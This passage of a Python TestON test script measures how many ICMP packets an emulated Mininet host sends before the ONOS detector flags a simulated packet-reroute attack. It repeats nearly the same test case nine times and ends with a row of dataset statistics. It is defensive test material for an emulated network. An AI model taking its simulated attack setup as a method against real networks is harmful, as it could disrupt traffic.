main.caseExplanation = "0_2_1 or 0_3_1 carry out reroute attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the reroute rule with a new attacker hash value" )
main.updateRerouteAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 1 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Reroute Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 1 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the reroute was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the reroute attack",
onfail="Failed to find the no. of packets to detect the reroute attack" )
def CASE1102( self, main ):
'''
Measure detection time for a reroute attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet reroute attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out reroute attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the reroute rule with a new attacker hash value" )
main.updateRerouteAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 2 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Reroute Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 2 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the reroute was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the reroute attack",
onfail="Failed to find the no. of packets to detect the reroute attack" )
def CASE1103( self, main ):
'''
Measure detection time for a reroute attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet reroute attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out reroute attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the reroute rule with a new attacker hash value" )
main.updateRerouteAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 3 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Reroute Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 3 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the reroute was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the reroute attack",
onfail="Failed to find the no. of packets to detect the reroute attack" )
def CASE1104( self, main ):
'''
Measure detection time for a reroute attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet reroute attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out reroute attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the reroute rule with a new attacker hash value" )
main.updateRerouteAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 4 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Reroute Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 4 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the reroute was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the reroute attack",
onfail="Failed to find the no. of packets to detect the reroute attack" )
def CASE1105( self, main ):
'''
Measure detection time for a reroute attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet reroute attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out reroute attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the reroute rule with a new attacker hash value" )
main.updateRerouteAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 5 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Reroute Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 5 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the reroute was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the reroute attack",
onfail="Failed to find the no. of packets to detect the reroute attack" )
def CASE1106( self, main ):
'''
Measure detection time for a reroute attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet reroute attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out reroute attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the reroute rule with a new attacker hash value" )
main.updateRerouteAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 6 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Reroute Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 6 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the reroute was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the reroute attack",
onfail="Failed to find the no. of packets to detect the reroute attack" )
def CASE1107( self, main ):
'''
Measure detection time for a reroute attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet reroute attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out reroute attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the reroute rule with a new attacker hash value" )
main.updateRerouteAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 7 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Reroute Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 7 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the reroute was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the reroute attack",
onfail="Failed to find the no. of packets to detect the reroute attack" )
def CASE1108( self, main ):
'''
Measure detection time for a reroute attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet reroute attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out reroute attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the reroute rule with a new attacker hash value" )
main.updateRerouteAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 8 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Reroute Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 8 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the reroute was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the reroute attack",
onfail="Failed to find the no. of packets to detect the reroute attack" )
def CASE1109( self, main ):
'''
Measure detection time for a reroute attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet reroute attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out reroute attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the reroute rule with a new attacker hash value" )
main.updateRerouteAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 9 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Reroute Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 9 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the reroute was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the reroute attack",
onfail="Failed to find the no. of packets to detect the reroute attack" )
###
def CASE90( self, main ):
'''
Report Detection Rate
'''
import datetime
import os
main.log.info("Detection Statistics: \n" )
detectionResults = main.ONOSbench.detectionReport( main.ONOSip[ 0 ],
[ "\"Average Handling time\"",
"\"Average Detection time\"",
"\"The average thoughput\"" ] )
main.log.info( detectionResults )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += ( "Detectors, " )
resultString += ( str( detectionResults[ 3 ] ) )
resultString += ( "\n" )
resultString += ( "Average Throughput, " )
resultString += ( detectionResults[ 2 ] )
resultString += ( "\n" )
throughputPath = '/home/mininet/TestON/logs/detectionPerfResults/'
try:
os.mkdir( throughputPath )
except:
if not os.path.isdir( throughputPath ):
raise
throughputLog = '/home/mininet/TestON/logs/detectionPerfResults/throughput'
mode = 'a' if os.path.exists( throughputLog ) else 'w'
with open( throughputLog, mode ) as f:
f.write( resultString )
#resultString += (str(clusterCount) + ",")
#resultString += (str(n) + ",")
#resultString += (str(avgTP) + "," + str(stdTP) + "\n")
#resultsLog.write(resultString)
#resultsLog.close()
def CASE100( self, main ):
'''
Report errors/warnings/exceptions
'''
main.log.info("Error report: \n" )
main.ONOSbench.logReport( main.ONOSip[ 0 ],
[ "INFO",
"FOLLOWER",
"WARN",
"flow",
"ERROR",
"Except" ],
"s" )
| 53.689655
| 164
| 0.531579
| 30,456
| 286,488
| 4.933051
| 0.026005
| 0.014803
| 0.014856
| 0.0496
| 0.93999
| 0.934119
| 0.92757
| 0.92295
| 0.918132
| 0.914997
| 0
| 0.041871
| 0.382187
| 286,488
| 5,335
| 165
| 53.699719
| 0.806967
| 0.021055
| 0
| 0.895066
| 0
| 0.013619
| 0.21752
| 0.018151
| 0
| 0
| 0.000793
| 0
| 0.063854
| 0
| null | null | 0.060728
| 0.056039
| null | null | 0.001786
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
